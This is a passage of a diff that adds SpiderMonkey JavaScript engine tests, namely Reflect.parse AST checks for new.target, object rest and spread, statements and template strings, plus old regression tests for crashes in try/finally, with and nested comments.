+assertError("({ *set \"\"() {} })", SyntaxError);
+assertError("({ *set foo() {} })", SyntaxError);
+assertError("({ *set []() {} })", SyntaxError);
+assertError("({ *set [1]() {} })", SyntaxError);
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/newTarget.js b/js/src/tests/non262/reflect-parse/newTarget.js
new file mode 100644
index 0000000000..3db2c2726d
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/newTarget.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function testNewTarget() {
+
+ // new.target is currently valid inside any non-arrow, non-generator function
+ assertInFunctionExpr("new.target", newTarget());
+
+ // even with gratuitous whitespace.
+ assertInFunctionExpr(`new.
+ target`, newTarget());
+
+ // invalid in top-level scripts
+ assertError("new.target", SyntaxError);
+
+ // valid in arrow functions inside functions
+ assertInFunctionExpr("()=>new.target", arrowExpr([], newTarget()));
+ assertError("(() => new.target))", SyntaxError);
+
+ // valid in generators, too!
+ assertStmt("function *foo() { new.target; }", genFunDecl("es6", ident("foo"), [],
+ blockStmt([exprStmt(newTarget())])));
+
+ // new.target is a member expression. You should be able to call, invoke, or
+ // access properties of it.
+ assertInFunctionExpr("new.target.foo", dotExpr(newTarget(), ident("foo")));
+ assertInFunctionExpr("new.target[\"foo\"]", memExpr(newTarget(), literal("foo")));
+
+ assertInFunctionExpr("new.target()", callExpr(newTarget(), []));
+ assertInFunctionExpr("new new.target()", newExpr(newTarget(), []));
+
+ // assignment to newTarget is an error
+ assertError("new.target = 4", SyntaxError);
+
+ // only new.target is a valid production, no shorn names or other names
+ assertError("new.", SyntaxError);
+ assertError("new.foo", SyntaxError);
+ assertError("new.targe", SyntaxError);
+
+ // obj.new.target is still a member expression
+ assertExpr("obj.new.target", dotExpr(dotExpr(ident("obj"), ident("new")), ident("target")));
+}
+
+runtest(testNewTarget);
diff --git a/js/src/tests/non262/reflect-parse/object-rest.js b/js/src/tests/non262/reflect-parse/object-rest.js
new file mode 100644
index 0000000000..1c35034aa1
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/object-rest.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function property(key, value = key, shorthand = key === value) {
+ return { key, value, shorthand };
+}
+
+function assertDestrAssign(src, pattern) {
+ assertExpr(`(${src} = 0)`, aExpr("=", pattern, lit(0)));
+}
+
+function assertDestrBinding(src, pattern) {
+ assertDecl(`var ${src} = 0`, varDecl([{id: pattern, init: lit(0)}]));
+}
+
+function test() {
+ // Target expression must be a simple assignment target in object assignment patterns.
+ assertDestrAssign("{...x}", objPatt([spread(ident("x"))]));
+ assertDestrAssign("{...(x)}", objPatt([spread(ident("x"))]));
+ assertDestrAssign("{...obj.p}", objPatt([spread(dotExpr(ident("obj"), ident("p")))]));
+ assertDestrAssign("{...(obj.p)}", objPatt([spread(dotExpr(ident("obj"), ident("p")))]));
+
+ // Object binding patterns only allow binding identifiers.
+ assertDestrBinding("{...x}", objPatt([spread(ident("x"))]));
+
+ // The rest-property can be preceded by other properties.
+ for (var assertDestr of [assertDestrAssign, assertDestrBinding]) {
+ assertDestr("{a, ...x}", objPatt([property(ident("a")), spread(ident("x"))]));
+ assertDestr("{a: b, ...x}", objPatt([property(ident("a"), ident("b")), spread(ident("x"))]));
+ assertDestr("{[a]: b, ...x}", objPatt([property(comp(ident("a")), ident("b")), spread(ident("x"))]));
+ }
+
+ // Tests when __proto__ is used in the object pattern.
+ for (var assertDestr of [assertDestrAssign, assertDestrBinding]) {
+ assertDestr("{...__proto__}", objPatt([spread(ident("__proto__"))]));
+ assertDestr("{__proto__, ...x}", objPatt([property(ident("__proto__")), spread(ident("x"))]));
+ }
+ assertDestrAssign("{__proto__: a, ...x}", objPatt([property(lit("__proto__"), ident("a")), spread(ident("x"))]));
+ assertDestrBinding("{__proto__: a, ...x}", objPatt([property(ident("__proto__"), ident("a")), spread(ident("x"))]));
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/object-spread.js b/js/src/tests/non262/reflect-parse/object-spread.js
new file mode 100644
index 0000000000..a4b269c409
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/object-spread.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function property(key, value = key, shorthand = key === value) {
+ return { key, value, shorthand };
+}
+
+function test() {
+ // Any expression can be spreaded.
+ assertExpr("({...x})", objExpr([spread(ident("x"))]));
+ assertExpr("({...f()})", objExpr([spread(callExpr(ident("f"), []))]));
+ assertExpr("({...123})", objExpr([spread(lit(123))]));
+
+ // Multiple spread expression are allowed.
+ assertExpr("({...x, ...obj.p})", objExpr([spread(ident("x")), spread(dotExpr(ident("obj"), ident("p")))]));
+
+ // Spread expression can appear anywhere in an object literal.
+ assertExpr("({p, ...x})", objExpr([property(ident("p")), spread(ident("x"))]));
+ assertExpr("({p: a, ...x})", objExpr([property(ident("p"), ident("a")), spread(ident("x"))]));
+ assertExpr("({...x, p: a})", objExpr([spread(ident("x")), property(ident("p"), ident("a"))]));
+
+ // Trailing comma after spread expression is allowed.
+ assertExpr("({...x,})", objExpr([spread(ident("x"))]));
+
+ // __proto__ is not special in spread expressions.
+ assertExpr("({...__proto__})", objExpr([spread(ident("__proto__"))]));
+ assertExpr("({...__proto__, ...__proto__})", objExpr([spread(ident("__proto__")), spread(ident("__proto__"))]));
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/proxyArgs.js b/js/src/tests/non262/reflect-parse/proxyArgs.js
new file mode 100644
index 0000000000..c615642c72
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/proxyArgs.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// |reftest| skip-if(!xulRuntime.shell)
+// bug 905774
+
+// Proxy options
+var opts = new Proxy({loc: false}, {});
+assertEq("loc" in Reflect.parse("0;", opts), false);
+opts.loc = true;
+assertEq(Reflect.parse("0;", opts).loc !== null, true);
+delete opts.loc;
+assertEq(Reflect.parse("0;", opts).loc !== null, true); // default is true
+
+// Proxy builder
+var builder = {
+ program: function (body) { return body.join(); },
+ expressionStatement: function (expr) { return expr + ";" },
+ literal: function (val) { return "" + val; }
+};
+opts = {builder: new Proxy(builder, {})};
+assertEq(Reflect.parse("0xff;", opts), "255;");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/reflect-parse/shell.js b/js/src/tests/non262/reflect-parse/shell.js
new file mode 100644
index 0000000000..665e3fe59d
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/shell.js
@@ -0,0 +1,66 @@
+loadRelativeToScript('PatternAsserts.js');
+
+// various combinations of identifiers and destructuring patterns:
+function makePatternCombinations(id, destr)
+{
+ return [
+ [ id(1) ],
+ [ id(1), id(2) ],
+ [ id(1), id(2), id(3) ],
+ [ id(1), id(2), id(3), id(4) ],
+ [ id(1), id(2), id(3), id(4), id(5) ],
+
+ [ destr(1) ],
+ [ destr(1), destr(2) ],
+ [ destr(1), destr(2), destr(3) ],
+ [ destr(1), destr(2), destr(3), destr(4) ],
+ [ destr(1), destr(2), destr(3), destr(4), destr(5) ],
+
+ [ destr(1), id(2) ],
+
+ [ destr(1), id(2), id(3) ],
+ [ destr(1), id(2), id(3), id(4) ],
+ [ destr(1), id(2), id(3), id(4), id(5) ],
+ [ destr(1), id(2), id(3), id(4), destr(5) ],
+ [ destr(1), id(2), id(3), destr(4) ],
+ [ destr(1), id(2), id(3), destr(4), id(5) ],
+ [ destr(1), id(2), id(3), destr(4), destr(5) ],
+
+ [ destr(1), id(2), destr(3) ],
+ [ destr(1), id(2), destr(3), id(4) ],
+ [ destr(1), id(2), destr(3), id(4), id(5) ],
+ [ destr(1), id(2), destr(3), id(4), destr(5) ],
+ [ destr(1), id(2), destr(3), destr(4) ],
+ [ destr(1), id(2), destr(3), destr(4), id(5) ],
+ [ destr(1), id(2), destr(3), destr(4), destr(5) ],
+
+ [ id(1), destr(2) ],
+
+ [ id(1), destr(2), id(3) ],
+ [ id(1), destr(2), id(3), id(4) ],
+ [ id(1), destr(2), id(3), id(4), id(5) ],
+ [ id(1), destr(2), id(3), id(4), destr(5) ],
+ [ id(1), destr(2), id(3), destr(4) ],
+ [ id(1), destr(2), id(3), destr(4), id(5) ],
+ [ id(1), destr(2), id(3), destr(4), destr(5) ],
+
+ [ id(1), destr(2), destr(3) ],
+ [ id(1), destr(2), destr(3), id(4) ],
+ [ id(1), destr(2), destr(3), id(4), id(5) ],
+ [ id(1), destr(2), destr(3), id(4), destr(5) ],
+ [ id(1), destr(2), destr(3), destr(4) ],
+ [ id(1), destr(2), destr(3), destr(4), id(5) ],
+ [ id(1), destr(2), destr(3), destr(4), destr(5) ]
+ ];
+}
+
+function runtest(main) {
+ try {
+ main();
+ if (typeof reportCompare === 'function')
+ reportCompare(true, true);
+ } catch (exc) {
+ print(exc.stack);
+ throw exc;
+ }
+}
diff --git a/js/src/tests/non262/reflect-parse/stackOverflow.js b/js/src/tests/non262/reflect-parse/stackOverflow.js
new file mode 100644
index 0000000000..5fadbde4d8
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/stackOverflow.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Bug 632024: no crashing on stack overflow
+try {
+ Reflect.parse(Array(3000).join("x + y - ") + "z")
+} catch (e) { }
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/reflect-parse/statements.js b/js/src/tests/non262/reflect-parse/statements.js
new file mode 100644
index 0000000000..36a8b3ecea
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/statements.js
@@ -0,0 +1,88 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// statements
+
+assertStmt("throw 42", throwStmt(lit(42)));
+assertStmt("for (;;) break", forStmt(null, null, null, breakStmt(null)));
+assertStmt("for (x; y; z) break", forStmt(ident("x"), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (var x; y; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (var x = 42; y; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (x; ; z) break", forStmt(ident("x"), null, ident("z"), breakStmt(null)));
+assertStmt("for (var x; ; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), null, ident("z"), breakStmt(null)));
+assertStmt("for (var x = 42; ; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), null, ident("z"), breakStmt(null)));
+assertStmt("for (x; y; ) break", forStmt(ident("x"), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x; y; ) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x = 42; y; ) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x in y) break", forInStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), breakStmt(null)));
+assertStmt("for (x in y) break", forInStmt(ident("x"), ident("y"), breakStmt(null)));
+assertStmt("{ }", blockStmt([]));
+assertStmt("{ throw 1; throw 2; throw 3; }", blockStmt([ throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]));
+assertStmt(";", emptyStmt);
+assertStmt("if (foo) throw 42;", ifStmt(ident("foo"), throwStmt(lit(42)), null));
+assertStmt("if (foo) throw 42; else true;", ifStmt(ident("foo"), throwStmt(lit(42)), exprStmt(lit(true))));
+assertStmt("if (foo) { throw 1; throw 2; throw 3; }",
+ ifStmt(ident("foo"),
+ blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]),
+ null));
+assertStmt("if (foo) { throw 1; throw 2; throw 3; } else true;",
+ ifStmt(ident("foo"),
+ blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]),
+ exprStmt(lit(true))));
+
+
+assertStmt("foo: for(;;) break foo;", labStmt(ident("foo"), forStmt(null, null, null, breakStmt(ident("foo")))));
+assertStmt("foo: for(;;) continue foo;", labStmt(ident("foo"), forStmt(null, null, null, continueStmt(ident("foo")))));
+assertStmt("with (obj) { }", withStmt(ident("obj"), blockStmt([])));
+assertStmt("with (obj) { obj; }", withStmt(ident("obj"), blockStmt([exprStmt(ident("obj"))])));
+assertStmt("while (foo) { }", whileStmt(ident("foo"), blockStmt([])));
+assertStmt("while (foo) { foo; }", whileStmt(ident("foo"), blockStmt([exprStmt(ident("foo"))])));
+assertStmt("do { } while (foo);", doStmt(blockStmt([]), ident("foo")));
+assertStmt("do { foo; } while (foo)", doStmt(blockStmt([exprStmt(ident("foo"))]), ident("foo")));
+assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; }",
+ switchStmt(ident("foo"),
+ [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]),
+ caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]),
+ defaultClause([ exprStmt(lit(3)) ]) ]));
+assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; case 42: 42; }",
+ switchStmt(ident("foo"),
+ [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]),
+ caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]),
+ defaultClause([ exprStmt(lit(3)) ]),
+ caseClause(lit(42), [ exprStmt(lit(42)) ]) ]));
+assertStmt("try { } catch (e) { }",
+ tryStmt(blockStmt([]),
+ catchClause(ident("e"), blockStmt([])),
+ null));
+assertStmt("try { } catch (e) { } finally { }",
+ tryStmt(blockStmt([]),
+ catchClause(ident("e"), blockStmt([])),
+ blockStmt([])));
+assertStmt("try { } finally { }",
+ tryStmt(blockStmt([]),
+ null,
+ blockStmt([])));
+assertStmt("try { } catch { }",
+ tryStmt(blockStmt([]),
+ catchClause(null, blockStmt([])),
+ null));
+assertStmt("try { } catch { } finally { }",
+ tryStmt(blockStmt([]),
+ catchClause(null, blockStmt([])),
+ blockStmt([])));
+
+
+// Bug 632028: yield outside of a function should throw
+(function() {
+ var threw = false;
+ try {
+ Reflect.parse("yield 0");
+ } catch (expected) {
+ threw = true;
+ }
+ assertEq(threw, true);
+})();
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/templateStrings.js b/js/src/tests/non262/reflect-parse/templateStrings.js
new file mode 100644
index 0000000000..fb12afd00f
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/templateStrings.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// template strings
+assertStringExpr("`hey there`", literal("hey there"));
+assertStringExpr("`hey\nthere`", literal("hey\nthere"));
+assertExpr("`hey${\"there\"}`", templateLit([lit("hey"), lit("there"), lit("")]));
+assertExpr("`hey${\"there\"}mine`", templateLit([lit("hey"), lit("there"), lit("mine")]));
+assertExpr("`hey${a == 5}mine`", templateLit([lit("hey"), binExpr("==", ident("a"), lit(5)), lit("mine")]));
+assertExpr("func`hey\\x`", taggedTemplate(ident("func"), template(["hey\\x"], [void 0])));
+assertExpr("func`hey${4}\\x`", taggedTemplate(ident("func"), template(["hey","\\x"], ["hey",void 0], lit(4))));
+assertExpr("`hey${`there${\"how\"}`}mine`", templateLit([lit("hey"),
+ templateLit([lit("there"), lit("how"), lit("")]), lit("mine")]));
+assertExpr("func`hey`", taggedTemplate(ident("func"), template(["hey"], ["hey"])));
+assertExpr("func`hey${\"4\"}there`", taggedTemplate(ident("func"),
+ template(["hey", "there"], ["hey", "there"], lit("4"))));
+assertExpr("func`hey${\"4\"}there${5}`", taggedTemplate(ident("func"),
+ template(["hey", "there", ""], ["hey", "there", ""],
+ lit("4"), lit(5))));
+assertExpr("func`hey\r\n`", taggedTemplate(ident("func"), template(["hey\n"], ["hey\n"])));
+assertExpr("func`hey${4}``${5}there``mine`",
+ taggedTemplate(taggedTemplate(taggedTemplate(
+ ident("func"), template(["hey", ""], ["hey", ""], lit(4))),
+ template(["", "there"], ["", "there"], lit(5))),
+ template(["mine"], ["mine"])));
+
+// multi-line template string - line numbers
+var node = Reflect.parse("`\n\n ${2}\n\n\n`");
+Pattern({loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null}, type:"Program",
+body:[{loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null},
+type:"ExpressionStatement", expression:{loc:{start:{line:1, column:0}, end:{line:6, column:1},
+source:null}, type:"TemplateLiteral", elements:[{loc:{start:{line:1, column:0}, end:{line:3,
+column:5}, source:null}, type:"Literal", value:"\n\n "}, {loc:{start:{line:3, column:5},
+end:{line:3, column:6}, source:null}, type:"Literal", value:2}, {loc:{start:{line:3, column:6},
+end:{line:6, column:1}, source:null}, type:"Literal", value:"\n\n\n"}]}}]}).match(node);
+
+
+assertStringExpr("\"hey there\"", literal("hey there"));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/regress/browser.js b/js/src/tests/non262/regress/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/regress/browser.js
diff --git a/js/src/tests/non262/regress/regress-102725.js b/js/src/tests/non262/regress/regress-102725.js
new file mode 100644
index 0000000000..bbdb7abe7e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-102725.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 102725
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=102725
+ * "gcc -O2 problems converting numbers to strings"
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 102725;
+var summary = 'Testing converting numbers to strings';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Successive calls to foo.toString() were producing different answers!
+ */
+status = inSection(1);
+foo = (new Date()).getTime();
+actual = foo.toString();
+expect = foo.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-10278.js b/js/src/tests/non262/regress/regress-10278.js
new file mode 100644
index 0000000000..036f2cf9ac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-10278.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+/**
+ * File Name: regress-10278.js
+ * Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=10278
+ * Description: Function declarations do not need to be separated
+ * by semi-colon if they occur on the same line.
+ * Author: bob@bclary.com
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 10278;
+var summary = 'Function declarations do not need to be separated by semi-colon';
+var actual;
+var expect;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'pass';
+ try
+ {
+ eval("function f(){}function g(){}");
+ actual = "pass";
+ printStatus('no exception thrown');
+ }
+ catch ( e )
+ {
+ actual = "fail";
+ printStatus('exception ' + e.toString() + ' thrown');
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-104077.js b/js/src/tests/non262/regress/regress-104077.js
new file mode 100644
index 0000000000..703f516407
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-104077.js
@@ -0,0 +1,470 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 October 2001
+ * SUMMARY: Regression test for Bugzilla bug 104077
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077
+ * "JS crash: with/finally/return"
+ *
+ * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ * "JS crash: try/catch/continue."
+ *
+ * SpiderMonkey crashed on this code - it shouldn't.
+ *
+ * NOTE: the finally-blocks below should execute even if their try-blocks
+ * have return or throw statements in them:
+ *
+ * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 -------
+ * finally trumps return, and all other control-flow constructs that cause
+ * program execution to jump out of the try block: throw, break, etc. Once you
+ * enter a try block, you will execute the finally block after leaving the try,
+ * regardless of what happens to make you leave the try.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104077;
+var summary = "Just testing that we don't crash on with/finally/return -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function addValues(obj)
+{
+ var sum;
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ }
+ finally
+ {
+ return sum;
+ }
+ }
+}
+
+status = inSection(1);
+var obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+actual = addValues(obj);
+expect = 3;
+captureThis();
+
+
+
+function tryThis()
+{
+ var sum = 4 ;
+ var i = 0;
+
+ while (sum < 10)
+ {
+ try
+ {
+ sum += 1;
+ i += 1;
+ }
+ finally
+ {
+ print("In finally case of tryThis() function");
+ }
+ }
+ return i;
+}
+
+status = inSection(2);
+actual = tryThis();
+expect = 6;
+captureThis();
+
+
+
+function myTest(x)
+{
+ var obj = new Object();
+ var msg;
+
+ with (obj)
+ {
+ msg = (x != null) ? "NO" : "YES";
+ print("Is the provided argument to myTest() null? : " + msg);
+
+ try
+ {
+ throw "ZZZ";
+ }
+ catch(e)
+ {
+ print("Caught thrown exception = " + e);
+ }
+ }
+
+ return 1;
+}
+
+status = inSection(3);
+actual = myTest(null);
+expect = 1;
+captureThis();
+
+
+
+function addValues_2(obj)
+{
+ var sum = 0;
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch(e)
+ {
+ print('Caught an exception in addValues_2() function: ' + e);
+ }
+ }
+ }
+ }
+ finally
+ {
+ return sum;
+ }
+ }
+}
+
+status = inSection(4);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_2(obj);
+expect = 6;
+captureThis();
+
+
+
+status = inSection(5);
+try
+{
+ throw new A();
+}
+catch(e)
+{
+}
+finally
+{
+ try
+ {
+ throw new A();
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ actual = 'a';
+ }
+ actual = 'b';
+}
+expect = 'b';
+captureThis();
+
+
+
+
+function testfunc(mode)
+{
+ var obj = new Object();
+ with (obj)
+ {
+ var num = 100;
+ var str = "abc" ;
+
+ if (str == null)
+ {
+ try
+ {
+ throw "authentication.0";
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+
+ return num;
+ }
+ else
+ {
+ try
+ {
+ if (mode == 0)
+ throw "authentication.0";
+ else
+ mytest();
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+
+ return num;
+ }
+ }
+}
+
+status = inSection(6);
+actual = testfunc(0);
+expect = 100;
+captureThis();
+
+status = inSection(7);
+actual = testfunc();
+expect = 100;
+captureThis();
+
+
+
+
+function entry_menu()
+{
+ var document = new Object();
+ var dialog = new Object();
+ var num = 100;
+
+ with (document)
+ {
+ with (dialog)
+ {
+ try
+ {
+ while (true)
+ {
+ return num;
+ }
+ }
+ finally
+ {
+ }
+ }
+ }
+}
+
+status = inSection(8);
+actual = entry_menu();
+expect = 100;
+captureThis();
+
+
+
+
+function addValues_5(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum += 1;
+ print("In finally block of addValues_5() function: sum = " + sum);
+ }
+ catch (e)
+ {
+ sum += 1;
+ print("In finally catch block of addValues_5() function: sum = " + sum + ", e = " + e);
+ }
+ finally
+ {
+ sum += 1;
+ print("In finally finally block of addValues_5() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(11);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_5(obj);
+expect = 8;
+captureThis();
+
+
+
+
+function testObj(obj)
+{
+ var x = 42;
+
+ try
+ {
+ with (obj)
+ {
+ if (obj.p)
+ throw obj.p;
+ x = obj.q;
+ }
+ }
+ finally
+ {
+ print("in finally block of testObj() function");
+ return 999;
+ }
+}
+
+status = inSection(12);
+obj = {p:43};
+actual = testObj(obj);
+expect = 999;
+captureThis();
+
+
+
+/*
+ * Next two cases are from http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ */
+function a120571()
+{
+ while(0)
+ {
+ try
+ {
+ }
+ catch(e)
+ {
+ continue;
+ }
+ }
+}
+
+// this caused a crash! Test to see that it doesn't now.
+print(a120571);
+
+// Now test that we have a non-null value for a120571.toString()
+status = inSection(13);
+try
+{
+ actual = a120571.toString().match(/continue/)[0];
+}
+catch(e)
+{
+ actual = 'FAILED! Did not find "continue" in function body';
+}
+expect = 'continue';
+captureThis();
+
+
+
+
+function b()
+{
+ for(;;)
+ {
+ try
+ {
+ }
+ catch(e)
+ {
+ continue;
+ }
+ }
+}
+
+// this caused a crash!!! Test to see that it doesn't now.
+print(b);
+
+// Now test that we have a non-null value for b.toString()
+status = inSection(14);
+try
+{
+ actual = b.toString().match(/continue/)[0];
+}
+catch(e)
+{
+ actual = 'FAILED! Did not find "continue" in function body';
+}
+expect = 'continue';
+captureThis();
+
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-110286.js b/js/src/tests/non262/regress/regress-110286.js
new file mode 100644
index 0000000000..2520e4cc60
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-110286.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Nov 2001
+ * SUMMARY: multiline comments containing "/*" should not be syntax errors
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=110286
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 110286;
+var summary = 'Multiline comments containing "/*" should not be syntax errors';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = eval("/* /* */3");
+expect = 3;
+addThis();
+
+status = inSection(2);
+actual = eval("3/* /* */");
+expect = 3;
+addThis();
+
+status = inSection(3);
+actual = eval("/* 3/* */");
+expect = undefined;
+addThis();
+
+status = inSection(4);
+actual = eval("/* /*3 */");
+expect = undefined;
+addThis();
+
+status = inSection(5);
+var passed = true;
+try
+{
+ eval("/* blah blah /* blah blah */");
+}
+catch(e)
+{
+ passed = false;
+}
+actual = passed;
+expect = true;
+addThis();
+
+
+status = inSection(6);
+try
+{
+ /*
+ /*A/* /* /*A/*
+ /* blah blah /*
+ /* blah blah /*
+ /* /*A/* /*A/*
+ */
+ var result = 'PASSED';
+}
+catch(e)
+{
+ var result = 'FAILED';
+}
+actual = result;
+expect = 'PASSED';
+addThis();
+
+
+status = inSection(7);
+var str = 'ABC';
+/*
+ * /*
+ * /*
+ * /*
+ * /*
+ *
+ */
+str += 'DEF';
+actual = str;
+expect = 'ABCDEF';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-111557.js b/js/src/tests/non262/regress/regress-111557.js
new file mode 100644
index 0000000000..49fd4247e0
